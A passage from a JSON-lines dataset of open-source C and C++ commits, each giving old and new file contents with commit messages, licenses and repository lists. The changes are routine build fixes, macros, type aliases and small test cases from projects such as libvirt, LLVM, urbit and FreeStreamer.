5; \/\/ seconds\n    const uint8_t _max_messages_per_time_period = 10;\n    uint32_t _suppressed_message_count = 0;\n    uint8_t _message_count_this_time_period = 0;\n    time_t _time_period_start;\n\n    bool use_syslog = false;\n};\n\n#endif\n","subject":"Fix obvious issue which probably broke build on windows.","message":"Fix obvious issue which probably broke build on windows.\n","lang":"C","license":"apache-2.0","repos":"dronekit\/dronekit-la,peterbarker\/dronekit-la,dronekit\/dronekit-la,peterbarker\/dronekit-la,peterbarker\/dronekit-la,peterbarker\/dronekit-la,dronekit\/dronekit-la,dronekit\/dronekit-la"}
{"commit":"bb7aa6ace39ad6ce1e71f9f177441a6744814855","old_file":"Additions\/FSFrequencyPlotView.h","new_file":"Additions\/FSFrequencyPlotView.h","old_contents":"\/*\n * This file is part of the FreeStreamer project,\n * (C)Copyright 2011-2015 Matias Muhonen <mmu@iki.fi>\n * See the file ''LICENSE'' for using the code.\n *\n * https:\/\/github.com\/muhku\/FreeStreamer\n *\/\n\n#include \"FSFrequencyDomainAnalyzer.h\"\n\n#define kFSFrequencyPlotViewMaxCount 64\n\n@interface FSFrequencyPlotView : UIView <FSFrequencyDomainAnalyzerDelegate> {\n    float _levels[kFSFrequencyPlotViewMaxCount];\n    NSUInteger _count;\n    BOOL _drawing;\n}\n\n- (void)frequenceAnalyzer:(FSFrequencyDomainAnalyzer *)analyzer levelsAvailable:(float *)levels count:(NSUInteger)count;\n- (void)reset;\n\n@end\n","new_contents":"\/*\n * This file is part of the FreeStreamer project,\n * (C)Copyright 2011-2015 Matias Muhonen <mmu@iki.fi>\n * See the file ''LICENSE'' for using the code.\n *\n * https:\/\/github.com\/muhku\/FreeStreamer\n *\/\n\n#import <UIKit\/UIKit.h>\n\n#include \"FSFrequencyDomainAnalyzer.h\"\n\n#define kFSFrequencyPlotViewMaxCount 64\n\n@interface FSFrequencyPlotView : UIView <FSFrequencyDomainAnalyzerDelegate> {\n    float _levels[kFSFrequencyPlotViewMaxCount];\n    NSUInteger _count;\n    BOOL _drawing;\n}\n\n- (void)frequenceAnalyzer:(FSFrequencyDomainAnalyzer *)analyzer levelsAvailable:(float *)levels count:(NSUInteger)count;\n- (void)reset;\n\n@end\n","subject":"Add a missing UIKit import.","message":"Add a missing UIKit import.\n","lang":"C","license":"bsd-3-clause","repos":"mjasa\/FreeStreamer,christophercotton\/FreeStreamer,alecgorge\/FreeStreamer,alecgorge\/FreeStreamer,mjasa\/FreeStreamer,christophercotton\/FreeStreamer,ren6\/FreeStreamer,zdw19840929\/FreeStreamer,christophercotton\/FreeStreamer,zdw19840929\/FreeStreamer,zdw19840929\/FreeStreamer,ren6\/FreeStreamer,mjasa\/FreeStreamer,nKey\/FreeStreamer,nKey\/FreeStreamer,nKey\/FreeStreamer,alecgorge\/FreeStreamer,ren6\/FreeStreamer"}
{"commit":"ea8eed7e9540ff9136df34ecb70255cd2ab74dd4","old_file":"logger.c","new_file":"logger.c","old_contents":"\n#include \"logger.h\"\n\n#include <stdio.h>\n#include <errno.h>\n\n#include <libpp\/map-lists.h>\n#include <libpp\/separators.h>\n#include <libtypes\/types.h>\n\n\nLogger\nlogger__new_( Logger options )\n{\n    if ( options.log == NULL ) {\n        options.log = logger__default_log;\n    }\n    return options;\n}\n\n\nint\nlogger__default_log( Logger const logger,\n                     LogLevel const level,\n                     char const * const format,\n                     va_list var_args )\n{\n    if ( format == NULL ) {\n        return EINVAL;\n    } else if ( level.severity < logger.min_severity ) {\n        return 0;\n    }\n    char const * const logger_name = logger.s;\n    if ( ( logger_name != NULL && fprintf( stderr, \"%s: \", logger_name ) < 0 )\n      || ( level.name != NULL && fprintf( stderr, \"%s: \", level.name ) < 0 )\n      || vfprintf( stderr, format, var_args ) < 0\n      || fprintf( stderr, \"\\n\" ) < 0 ) {\n        return EIO;\n    }\n    return 0;\n}\n\n\n#define DEF_FUNC( L, U ) \\\n    LOG_FUNC_DEF( L, log_level_##L )\nPP_MAP_LISTS( DEF_FUNC, PP_SEP_NONE, LOG_LEVELS )\n#undef DEF_FUNC\n\n\n","new_contents":"\n#include \"logger.h\"\n\n#include <stdio.h>\n#include <errno.h>\n\n#include <libpp\/map-lists.h>\n#include <libpp\/separators.h>\n#include <libtypes\/types.h>\n\n\nLogger\nlogger__new_( Logger options )\n{\n    if ( options.log == NULL ) {\n        options.log = logger__default_log;\n    }\n    return options;\n}\n\n\nint\nlogger__default_log( Logger const logger,\n                     LogLevel const level,\n                     char const * const format,\n                     va_list var_args )\n{\n    if ( format == NULL ) {\n        return EINVAL;\n    } else if ( level.severity < logger.min_severity ) {\n        return 0;\n    }\n    char const * const logger_name = logger.c;\n    if ( ( logger_name != NULL && fprintf( stderr, \"%s: \", logger_name ) < 0 )\n      || ( level.name != NULL && fprintf( stderr, \"%s: \", level.name ) < 0 )\n      || vfprintf( stderr, format, var_args ) < 0\n      || fprintf( stderr, \"\\n\" ) < 0 ) {\n        return EIO;\n    }\n    return 0;\n}\n\n\n#define DEF_FUNC( L, U ) \\\n    LOG_FUNC_DEF( L, log_level_##L )\nPP_MAP_LISTS( DEF_FUNC, PP_SEP_NONE, LOG_LEVELS )\n#undef DEF_FUNC\n\n\n","subject":"Fix member access issue stopping compile","message":"Fix member access issue stopping compile\n","lang":"C","license":"agpl-3.0","repos":"mcinglis\/liblogging"}
{"commit":"b09cbbdb383a73ad46a016cc4dcc54ad62c92732","old_file":"jets\/c\/xeb.c","new_file":"jets\/c\/xeb.c","old_contents":"\/* j\/3\/xeb.c\n**\n*\/\n#include \"all.h\"\n\n\n\/* functions\n*\/\n  u3_noun\n  u3qc_xeb(u3_atom a)\n  {\n    mpz_t a_mp;\n\n    if ( __(u3a_is_dog(a)) ) {\n      u3r_mp(a_mp, a);\n      size_t log = mpz_sizeinbase(a_mp, 2);\n      mpz_t b_mp;\n      mpz_init_set_ui(b_mp, log);\n      return u3i_mp(b_mp);\n    }\n    else {\n      mpz_init_set_ui(a_mp, a);\n      c3_d x = mpz_sizeinbase(a_mp, 2);\n      mpz_t b_mp;\n      mpz_init_set_ui(b_mp, x);\n      return u3i_mp(b_mp);\n    }\n  }\n  u3_noun\n  u3wc_xeb(\n                  u3_noun cor)\n  {\n    u3_noun a;\n\n    if ( (u3_none == (a = u3r_at(u3x_sam, cor))) ||\n         (c3n == u3ud(a)) )\n    {\n      return u3m_bail(c3__exit);\n    } else {\n      return u3qc_xeb(a);\n    }\n  }\n\n","new_contents":"\/* j\/3\/xeb.c\n**\n*\/\n#include \"all.h\"\n\n\n\/* functions\n*\/\n  u3_noun\n  u3qc_xeb(u3_atom a)\n  {\n    mpz_t a_mp;\n\n    if ( __(u3a_is_dog(a)) ) {\n      u3r_mp(a_mp, a);\n      c3_d x = mpz_sizeinbase(a_mp, 2);\n      mpz_t b_mp;\n      mpz_init_set_ui(b_mp, x);\n      return u3i_mp(b_mp);\n    }\n    else {\n      mpz_init_set_ui(a_mp, a);\n      c3_d x = mpz_sizeinbase(a_mp, 2);\n      mpz_t b_mp;\n      mpz_init_set_ui(b_mp, x);\n      return u3i_mp(b_mp);\n    }\n  }\n  u3_noun\n  u3wc_xeb(\n                  u3_noun cor)\n  {\n    u3_noun a;\n\n    if ( (u3_none == (a = u3r_at(u3x_sam, cor))) ||\n         (c3n == u3ud(a)) )\n    {\n      return u3m_bail(c3__exit);\n    } else {\n      return u3qc_xeb(a);\n    }\n  }\n\n","subject":"Use urbit types instead of size_t","message":"Use urbit types instead of size_t\n","lang":"C","license":"mit","repos":"cgyarvin\/urbit-1,ohAitch\/urbit,cgyarvin\/urbit-1,ohAitch\/urbit,max19\/urbit,juped\/your-urbit,jfranklin9000\/urbit,juped\/your-urbit,juped\/your-urbit,ngzax\/urbit,ohAitch\/urbit,max19\/urbit,ngzax\/urbit,urbit\/urbit,urbit\/urbit,juped\/urbit,max19\/urbit,ngzax\/urbit,jfranklin9000\/urbit,juped\/your-urbit,juped\/your-urbit,ngzax\/urbit,max19\/urbit,juped\/urbit,urbit\/urbit,juped\/urbit,urbit\/urbit,ohAitch\/urbit,juped\/urbit,jfranklin9000\/urbit,jfranklin9000\/urbit,juped\/your-urbit,jfranklin9000\/urbit,cgyarvin\/urbit-1,juped\/your-urbit,ngzax\/urbit,cgyarvin\/urbit-1,urbit\/urbit,max19\/urbit,ohAitch\/urbit,juped\/urbit,ohAitch\/urbit,cgyarvin\/urbit-1,cgyarvin\/urbit-1,max19\/urbit,cgyarvin\/urbit-1,juped\/urbit,juped\/your-urbit,urbit\/urbit,ohAitch\/urbit,urbit\/urbit,juped\/urbit,max19\/urbit,ngzax\/urbit,ohAitch\/urbit,jfranklin9000\/urbit,juped\/your-urbit,cgyarvin\/urbit-1,max19\/urbit,ohAitch\/urbit,ohAitch\/urbit,juped\/your-urbit,ngzax\/urbit,jfranklin9000\/urbit,juped\/urbit"}
{"commit":"5b5437349aa475c23b624e9b0f5919250cd0ab8c","old_file":"libvirt-utils.h","new_file":"libvirt-utils.h","old_contents":"\/*\n * libvirt-utils.h: misc helper APIs for python binding\n *\n * Copyright (C) 2013 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library.  If not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#ifndef __LIBVIRT_UTILS_H__\n# define __LIBVIRT_UTILS_H__\n\n# define STREQ(a,b) (strcmp(a,b) == 0)\n\n#endif \/* __LIBVIRT_UTILS_H__ *\/\n","new_contents":"\/*\n * libvirt-utils.h: misc helper APIs for python binding\n *\n * Copyright (C) 2013 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library.  If not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#ifndef __LIBVIRT_UTILS_H__\n# define __LIBVIRT_UTILS_H__\n\n# define STREQ(a,b) (strcmp(a,b) == 0)\n\n# ifndef MIN\n#  define MIN(a,b) (((a) < (b)) ? (a) : (b))\n# endif\n\n#endif \/* __LIBVIRT_UTILS_H__ *\/\n","subject":"Add decl of MIN macro","message":"Add decl of MIN macro\n\nSigned-off-by: Daniel P. Berrange <bb938cf255e055ff3507f2627d214e8e62118fcf@redhat.com>\n","lang":"C","license":"lgpl-2.1","repos":"libvirt\/libvirt-python,libvirt\/libvirt-python,libvirt\/libvirt-python"}
{"commit":"4af33c260559bb3715da2c84be637156473d731c","old_file":"test\/CFrontend\/bit-accurate-int.c","new_file":"test\/CFrontend\/bit-accurate-int.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - \/dev\/null\n\/\/ XFAIL: *\n\n#define ATTR_BITS(N) __attribute__((bitwidth(N))) \n\ntypedef int ATTR_BITS( 4) My04BitInt;\ntypedef int ATTR_BITS(16) My16BitInt;\ntypedef int ATTR_BITS(17) My17BitInt;\ntypedef int ATTR_BITS(37) My37BitInt;\ntypedef int ATTR_BITS(65) My65BitInt;\n\nstruct MyStruct {\n  My04BitInt i4Field;\n  short ATTR_BITS(12) i12Field;\n  long ATTR_BITS(17) i17Field;\n  My37BitInt i37Field;\n};\n\nMy37BitInt doit( short ATTR_BITS(23) num) {\n  My17BitInt i;\n  struct MyStruct strct;\n  int bitsize1 = sizeof(My17BitInt);\n  int __attribute__((bitwidth(9))) j;\n  int bitsize2 = sizeof(j);\n  int result = bitsize1 + bitsize2;\n  strct.i17Field = result;\n  result += sizeof(struct MyStruct);\n  return result;\n}\n\nint\nmain ( int argc, char** argv)\n{\n  return (int ATTR_BITS(32)) doit((short ATTR_BITS(23))argc);\n}\n","subject":"Add a test case for bit accurate integer types in llvm-gcc. This is XFAILed for now until llvm-gcc changes are committed.","message":"Add a test case for bit accurate integer types in llvm-gcc. This is\nXFAILed for now until llvm-gcc changes are committed.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@33261 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm"}
{"commit":"142bbaf120ee82473e557c2b1d0b8fd1c1de0603","old_file":"ops\/eq.h","new_file":"ops\/eq.h","old_contents":"\/\/ Copyright 2022 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n\n#include <concepts>\n\nnamespace sus::ops {\n\n\/\/ Type `A` and `B` are `Eq<A, B>` if an object of each type can be compared for\n\/\/ equality with the `==` operator.\n\/\/\n\/\/ TODO: How do we do PartialEq? Can we even? Can we require Ord to be Eq? But\n\/\/ then it depends on ::num?\ntemplate <class Lhs, class Rhs>\nconcept Eq = requires(const Lhs& lhs, const Rhs& rhs) {\n               { lhs == rhs } -> std::same_as<bool>;\n               { rhs == lhs } -> std::same_as<bool>;\n             };\n\n}  \/\/ namespace sus::ops\n","new_contents":"\/\/ Copyright 2022 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n\n#include <concepts>\n\nnamespace sus::ops {\n\n\/\/ Type `A` and `B` are `Eq<A, B>` if an object of each type can be compared for\n\/\/ equality with the `==` operator.\n\/\/\n\/\/ TODO: How do we do PartialEq? Can we even? Can we require Ord to be Eq? But\n\/\/ then it depends on ::num?\ntemplate <class Lhs, class Rhs>\nconcept Eq = requires(const Lhs& lhs, const Rhs& rhs) {\n               { lhs == rhs } -> std::same_as<bool>;\n             };\n\n}  \/\/ namespace sus::ops\n","subject":"Remove redundant == in Eq","message":"Remove redundant == in Eq\n","lang":"C","license":"apache-2.0","repos":"chromium\/subspace,chromium\/subspace"}
{"commit":"b2192eb67960c6943b266a0456b672ee93483952","old_file":"libjc\/arch\/i386\/i386_definitions.h","new_file":"libjc\/arch\/i386\/i386_definitions.h","old_contents":"\n\/*\n * Copyright 2005 The Apache Software Foundation or its licensors,\n * as applicable.\n * \n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n * \n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n * $Id$\n *\/\n\n#ifndef _ARCH_I386_DEFINITIONS_H_\n#define _ARCH_I386_DEFINITIONS_H_\n\n#if !defined(__i386__)\n#error \"This include file is for the i386 architecture only\"\n#endif\n\n#define\t_JC_PAGE_SHIFT\t\t12\t\t\/* 4096 byte pages *\/\n\n#define _JC_STACK_ALIGN\t\t2\n\n#define _JC_BIG_ENDIAN\t\t0\n\n#ifdef __CYGWIN__\n#undef _JC_LIBRARY_FMT\n#define _JC_LIBRARY_FMT\t\t\"cyg%s.dll\"\n#endif\n\n#endif\t\/* _ARCH_I386_DEFINITIONS_H_ *\/\n\n","new_contents":"\n\/*\n * Copyright 2005 The Apache Software Foundation or its licensors,\n * as applicable.\n * \n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n * \n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n * $Id$\n *\/\n\n#ifndef _ARCH_I386_DEFINITIONS_H_\n#define _ARCH_I386_DEFINITIONS_H_\n\n#if !defined(__i386__)\n#error \"This include file is for the i386 architecture only\"\n#endif\n\n#define\t_JC_PAGE_SHIFT\t\t12\t\t\/* 4096 byte pages *\/\n\n#define _JC_STACK_ALIGN\t\t2\n\n#define _JC_BIG_ENDIAN\t\t0\n\n\/* Fixes for Cygwin *\/\n#ifdef __CYGWIN__\n#undef _JC_LIBRARY_FMT\n#define _JC_LIBRARY_FMT\t\t\"cyg%s.dll\"\n#define sched_get_priority_max(x)\t(15)\n#define sched_get_priority_min(x)\t(1)\n#endif\n\n#endif\t\/* _ARCH_I386_DEFINITIONS_H_ *\/\n\n","subject":"Add Cygwin fixes for sched_get_priority_min() and sched_get_priority_max().","message":"Add Cygwin fixes for sched_get_priority_min() and sched_get_priority_max().\n\nsvn path=\/incubator\/harmony\/enhanced\/jchevm\/; revision=379838\n","lang":"C","license":"apache-2.0","repos":"freeVM\/freeVM,freeVM\/freeVM,freeVM\/freeVM,freeVM\/freeVM,freeVM\/freeVM"}
{"commit":"54a13d2d9754a44f26dbe5f8b4485267a13a0217","old_file":"drudge\/canonpy.h","new_file":"drudge\/canonpy.h","old_contents":"\/* vim: set filetype=cpp: *\/\n\n\/** Header file for canonpy.\n *\n * Currently it merely contains the definition of the object structure of the\n * classes defined in canonpy.  They are put here in case a C API is intended\n * to be added for canonpy.\n *\/\n\n#ifndef DRUDGE_CANONPY_H\n#define DRUDGE_CANONPY_H\n\n#include <Python.h>\n\n#include <memory>\n\n#include <libcanon\/perm.h>\n#include <libcanon\/sims.h>\n\nusing libcanon::Simple_perm;\nusing libcanon::Sims_transv;\n\n\/\/\n\/\/ Permutation type\n\/\/ ----------------\n\/\/\n\n\/** Object type for canonpy Perm objects.\n *\/\n\n\/\/ clang-format off\ntypedef struct {\n    PyObject_HEAD\n    Simple_perm perm;\n} Perm_object;\n\/\/ clang-format on\n\n\/\/\n\/\/ Permutation group type\n\/\/ ----------------------\n\/\/\n\n\/\/ clang-format off\ntypedef struct {\n    PyObject_HEAD\n    std::unique_ptr<Sims_transv<Simple_perm>> transv;\n} Group_object;\n\/\/ clang-format on\n\n#endif\n","new_contents":"\/* vim: set filetype=cpp: *\/\n\n\/** Header file for canonpy.\n *\n * Currently it merely contains the definition of the object structure of the\n * classes defined in canonpy.  They are put here in case a C API is intended\n * to be added for canonpy.\n *\/\n\n#ifndef DRUDGE_CANONPY_H\n#define DRUDGE_CANONPY_H\n\n#include <Python.h>\n\n#include <memory>\n\n#include <libcanon\/perm.h>\n#include <libcanon\/sims.h>\n\nusing libcanon::Simple_perm;\nusing libcanon::Sims_transv;\n\n\/\/\n\/\/ Permutation type\n\/\/ ----------------\n\/\/\n\n\/** Object type for canonpy Perm objects.\n *\/\n\n\/\/ clang-format off\ntypedef struct {\n    PyObject_HEAD\n    Simple_perm perm;\n} Perm_object;\n\/\/ clang-format on\n\n\/\/\n\/\/ Permutation group type\n\/\/ ----------------------\n\/\/\n\nusing Transv = Sims_transv<Simple_perm>;\nusing Transv_ptr = std::unique_ptr<Transv>;\n\n\/\/ clang-format off\ntypedef struct {\n    PyObject_HEAD\n    Transv_ptr transv;\n} Group_object;\n\/\/ clang-format on\n\n#endif\n","subject":"Add type aliases for Group","message":"Add type aliases for Group\n\nWith these aliases, the code for permutation group manipulation can be\nwritten more succinctly.\n","lang":"C","license":"mit","repos":"tschijnmo\/drudge,tschijnmo\/drudge,tschijnmo\/drudge"}
{"commit":"3d9077bafe6cb2f97ce16157d1db252a719e24a0","old_file":"src\/appjs_window.h","new_file":"src\/appjs_window.h","old_contents":"#ifndef APPJS_WINDOW_H\n#define APPJS_WINDOW_H\n#pragma once\n\n#include \"appjs.h\"\n\n\/\/ GTK+ binding for linux\n#if defined(__LINUX__)\n\n#include \"linux\/mainwindow.h\"\n\n\/\/ Mac files\n#elif defined(__MAC__)\n\n#include \"mac\/mainwindow.h\"\n\n\/\/ Windows necessary files\n#elif defined(__WIN__)\n\n#include \"windows\/mainwindow.h\"\n\n#endif\n\n\nnamespace appjs {\n\nusing namespace v8;\n\nclass Window : public node::ObjectWrap {\n\n  DECLARE_NODE_OBJECT_FACTORY(Window);\n\n  DEFINE_CPP_METHOD(OpenDevTools);\n  DEFINE_CPP_METHOD(CloseDevTools);\n  DEFINE_CPP_METHOD(Show);\n  DEFINE_CPP_METHOD(Hide);\n  DEFINE_CPP_METHOD(Destroy);\n  DEFINE_CPP_METHOD(RunInBrowser);\n  DEFINE_CPP_METHOD(SendSync);\n\n  DEFINE_CPP_METHOD(SetMaximize);\n  DEFINE_CPP_METHOD(SetMinimize);\n\n};\n\n} \/* appjs *\/\n#endif \/* end of APPJS_WINDOW_H *\/\n\n","new_contents":"#ifndef APPJS_WINDOW_H\n#define APPJS_WINDOW_H\n#pragma once\n\n#include \"appjs.h\"\n\n\/\/ GTK+ binding for linux\n#if defined(__LINUX__)\n\n#include \"linux\/mainwindow.h\"\n\n\/\/ Mac files\n#elif defined(__MAC__)\n\n#include \"mac\/mainwindow.h\"\n\n\/\/ Windows necessary files\n#elif defined(__WIN__)\n\n#include \"windows\/mainwindow.h\"\n\n#endif\n\n\nnamespace appjs {\n\nusing namespace v8;\n\nclass Window : public node::ObjectWrap {\n\n  DECLARE_NODE_OBJECT_FACTORY(Window);\n\n  DEFINE_CPP_METHOD(OpenDevTools);\n  DEFINE_CPP_METHOD(CloseDevTools);\n  DEFINE_CPP_METHOD(Show);\n  DEFINE_CPP_METHOD(Hide);\n  DEFINE_CPP_METHOD(Destroy);\n  DEFINE_CPP_METHOD(RunInBrowser);\n  DEFINE_CPP_METHOD(SendSync);\n  DEFINE_CPP_METHOD(SetMaximize);\n  DEFINE_CPP_METHOD(SetMinimize);\n\n  DEFINE_CPP_METHOD(SetMaximize);\n  DEFINE_CPP_METHOD(SetMinimize);\n\n};\n\n} \/* appjs *\/\n#endif \/* end of APPJS_WINDOW_H *\/\n\n","subject":"Add minimize and maximize function on Linux","message":"Add minimize and maximize function on Linux\n","lang":"C","license":"mit","repos":"reekoheek\/appjs,reekoheek\/appjs,reekoheek\/appjs"}
{"commit":"6c0a304f881440303b1fe1af781b2cf1ddccc3ef","old_file":"src\/data\/linkedlist.h","new_file":"src\/data\/linkedlist.h","old_contents":"\/**\n * An efficient c++ simulation demo\n *\n * @author Skylar Kelty <skylarkelty@gmail.com>\n *\/\n\n#pragma once\n\n#include \"src\/common.h\"\n\n\/**\n * A linked list\n *\/\ntemplate <typename T>\nclass LinkedList {\nprivate:\n\tLLNode<T> *head;\n\tLLNode<T> *tail;\n\npublic:\n\tLinkedList();\n\t~LinkedList();\n\n\tvoid append(LLNode<T> *node);\n\n\t\/**\n\t * Get the first element of the list\n\t *\/\n\tinline LLNode<T> *first() {\n\t\treturn this->head;\n\t}\n\n\t\/**\n\t * Get the last element of the list\n\t *\/\n\tinline LLNode<T> *last() {\n\t\treturn this->tail;\n\t}\n\n\t\/**\n\t * Get the length of the list\n\t *\/\n\tinline int length() {\n\t\treturn this->head->length();\n\t}\n};\n","new_contents":"\/**\n * An efficient c++ simulation demo\n *\n * @author Skylar Kelty <skylarkelty@gmail.com>\n *\/\n\n#pragma once\n\n#include \"src\/common.h\"\n\n\/**\n * A linked list\n *\/\ntemplate <typename T>\nclass LinkedList {\nfriend class Engine;\n\nprivate:\n\tLLNode<T> *head;\n\tLLNode<T> *tail;\n\nprotected:\n\tvoid append(LLNode<T> *node);\n\npublic:\n\tLinkedList();\n\t~LinkedList();\n\n\t\/**\n\t * Get the first element of the list\n\t *\/\n\tinline LLNode<T> *first() {\n\t\treturn this->head;\n\t}\n\n\t\/**\n\t * Get the last element of the list\n\t *\/\n\tinline LLNode<T> *last() {\n\t\treturn this->tail;\n\t}\n\n\t\/**\n\t * Get the length of the list\n\t *\/\n\tinline int length() {\n\t\treturn this->head->length();\n\t}\n};\n","subject":"Enforce actor addition through Engine","message":"Enforce actor addition through Engine\n","lang":"C","license":"apache-2.0","repos":"SkylarKelty\/Simulation"}
{"commit":"196992d9be7b1dcbb706a1c229ff3786d7c4935b","old_file":"libplatsupport\/plat_include\/pc99\/platsupport\/plat\/pit.h","new_file":"libplatsupport\/plat_include\/pc99\/platsupport\/plat\/pit.h","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n#ifndef _PLATSUPPORT_PIT_H\n#define _PLATSUPPORT_PIT_H\n\n#include <platsupport\/timer.h>\n#include <platsupport\/io.h>\n\n#define PIT_INTERRUPT       0\n\n\/*\n * Get the pit interface. This may only be called once.\n *\n * @param io_port_ops io port operations. This is all the pit requires.\n * @return initialised interface, NULL on error.\n *\/\npstimer_t * pit_get_timer(ps_io_port_ops_t *io_port_ops);\n\n\n#endif \/* _PLATSUPPORT_PIT_H *\/\n\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n#ifndef _PLATSUPPORT_PIT_H\n#define _PLATSUPPORT_PIT_H\n\n#include <autoconf.h>\n#include <platsupport\/timer.h>\n#include <platsupport\/io.h>\n\n#ifdef CONFIG_IRQ_PIC\n#define PIT_INTERRUPT       0\n#else\n#define PIT_INTERRUPT       2\n#endif\n\n\/*\n * Get the pit interface. This may only be called once.\n *\n * @param io_port_ops io port operations. This is all the pit requires.\n * @return initialised interface, NULL on error.\n *\/\npstimer_t * pit_get_timer(ps_io_port_ops_t *io_port_ops);\n\n\n#endif \/* _PLATSUPPORT_PIT_H *\/\n\n","subject":"Define PIT interrupt more correctly if using the IOAPIC","message":"libplatsupport: Define PIT interrupt more correctly if using the IOAPIC\n\nThe definition is not really correct as you cannot really talk about\ninterrupts by a single number. But this does provide the path of least\nresistance for legacy code using the PIT when the IOAPIC is enabled\n","lang":"C","license":"bsd-2-clause","repos":"agacek\/util_libs,agacek\/util_libs,agacek\/util_libs,agacek\/util_libs"}
{"commit":"313f680c4ff21c2fb5d33d472090f9a41d2fd063","old_file":"tests\/ifds\/reach\/pass-address-of-aggregate.c","new_file":"tests\/ifds\/reach\/pass-address-of-aggregate.c","old_contents":"#include <stdlib.h>\n\nint y;\nint *g = &y;\n\nint* arr[100];\n\nvoid f(int *p) {\n  g = p;\n}\n\nint main() {\n  y = rand();\n  \/* y = 1; *\/\n  \/* y *= 10; *\/\n  f(&arr[y]);\n  y = y \/ 4;\n  return 0;\n}\n","new_contents":"#include <stdlib.h>\n\nint y;\nint *g = &y;\n\nint arr[100];\n\nvoid f(int *p) {\n  g = p;\n}\n\nint main() {\n  y = rand();\n  \/* y = 1; *\/\n  \/* y *= 10; *\/\n  f(&arr[y]);\n  y = y \/ 4;\n  return 0;\n}\n","subject":"Fix types in this test case","message":"Fix types in this test case\n","lang":"C","license":"bsd-3-clause","repos":"wangxiayang\/llvm-analysis,wangxiayang\/llvm-analysis,travitch\/llvm-analysis,travitch\/llvm-analysis"}
